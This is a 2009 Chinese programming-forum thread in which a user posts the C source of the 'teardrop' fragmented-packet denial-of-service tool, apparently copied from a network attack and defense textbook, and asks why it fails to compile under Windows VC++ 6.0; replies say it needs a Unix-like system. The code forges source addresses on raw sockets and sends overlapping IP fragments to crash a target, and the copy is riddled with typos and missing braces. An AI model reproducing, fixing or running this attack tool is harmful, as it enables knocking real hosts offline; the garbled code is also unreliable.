程序源代码解读高手参看隐藏ip的问题！

qihuanfengyun 2009-03-05 11:29:57

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
#define FIX(n) (n)
#else
#define FIX(n) htons(n)
#endif

#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0x1

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *,int);
void send_frags(int,u_long,u_long,u_short,u_short);

int main(int argc,char **argv)
{
int one=1,count=0,i,rip_sock;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;

fprintf(stderr,"teardrop route|daemon9\n\n");

if ((rip_sock=sock(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL, (char *)&one,sizeof(one))<0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc<3) usage(argv[0]);
if (!(src_ip=name_resolve(argv[1])) || !(dst_ip=name_resolve(argv[2])))
{
fprintf(stderr,"what the hell kind of IP address is that?\n");
exit(1);
}
while ((i=getopt(argc,argv,"s:t:n:")) !=EOF)
{
switch (i)
{
case 's':
src_prt=(u_short)atoi(optarg);
break;
case 't':
dst_prt=(u_short)atoi(optarg);
break;
case 'n':
count=atoi(optarg);
break;
default :
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt=(random() % 0xffff);
if (!dst_prt) dst_prt=(random() % 0xffff);
if (!count) count=C)UNT;

fprintf(stderr,"Death on flaxen wings:\n");
addr.s_addr=src_ip;
fprintf(stderr,"Form: %15s.%5d\n",inet_ntoa(addr),dst_prt);
addr.s_addr=dst_ip;
fprintf(stdeer, "To: %5s.%5d\n",inet_ntoa(addr),src_prt);
fprintf(stdeer, "Amt: %5\n",count);
fprintf(stdeer, "[");

for(i=0;i<count;i++)
{
send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
fprintf(stdeer, "b00m");
usleep(500);
}
fprintf(stdeer,"]\n");
return (0);
void send_frags(int sock,u_long src_ip,U_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL
u_char byte;
struct sockaddr_in sin;

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.saddr = dst_ip;

packet=(u_char *)malloc(IPH+UDPH+PADDING);
p_ptr=packet;
bzero((u_char *)p_ptr,IPH+UDPH+PADDING);

byte=0x45;
memcpy(p_ptr,&byte,sizeof(u_char));
p_ptr +=2;
*((u_short *)p_ptr)=htons(242);
p_ptr +=2;
*((u_short *)p_ptr)|=FIX(IP_MF);
p_ptr +=2;
*((u_short *)p_ptr)=0x40;
byte=IPPROTO_UDP;
memcpy(p_ptr+1,&byte,sizeof(U_char));
p_ptr +=4;
*((u_long *)p_ptr)=src_ip;
p_ptr +=4;
*((u_long *)p_ptr)=dst_ip;
p_ptr +=4;
*((u_short *)p_ptr)=honts(src_prt);
p_ptr +=2;
*((u_short *)p_ptr)=honts(dst_prt);
p_ptr +=2;
*((u_short *)p_ptr)=honts(8+PADDING);

if(sendto(sock,packet,IP+UDP+PADDING,0,(struct sockaddr*)&sin,sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}

p_ptr=&packet[2];
*((u_short *)p_ptr)=FIX(IPH + MAGIC + 1);
p_ptr +=4;
*((u_short *)p_ptr)=FIX(MAGIC);

if(sendto(sock,packet,IPH + MAGIC + 1,0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) == - 1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);

u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if((addr.s_addr = inet_addr(host_name)) == -1)
{
if(!(host_ent=gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr,host_ent->h_length);
}
return (addr.s_addr);
}

void usage(u_char *name)
{
fprintf(stderr,"%s src_ip dst_ip [-s src_prt] [-t dst_prt] [-n how_many]\n",name);
exit(0);
}
为什么在windows VC++ 6.0编译时提示找不到unistd.h就是添加上unistd.h也不行。是不是该代码在linux上运行的。望高手指点。

...全文

148 8 打赏收藏转发到动态举报

写回复

用AI写文章

8 条回复

切换为时间正序

请发表友善的回复…

发表回复

qihuanfengyun 2009-03-07

打赏
举报

这是《网络攻防原理》书上的代码估计在unix上跑的可能性大。谢谢了！

xhy_851221 2009-03-05

打赏
举报

[Quote=引用 4 楼 hairetz 的回复:]
为什么在windows VC++ 6.0编译时提示找不到unistd.h就是添加上unistd.h也不行。是不是该代码在linux上运行的。望高手指点。

汗...原来还有这一句..
该代码要在Unix like系统下跑的,你可以用虚拟机在你的windows下装个linux再运行.
[/Quote]
up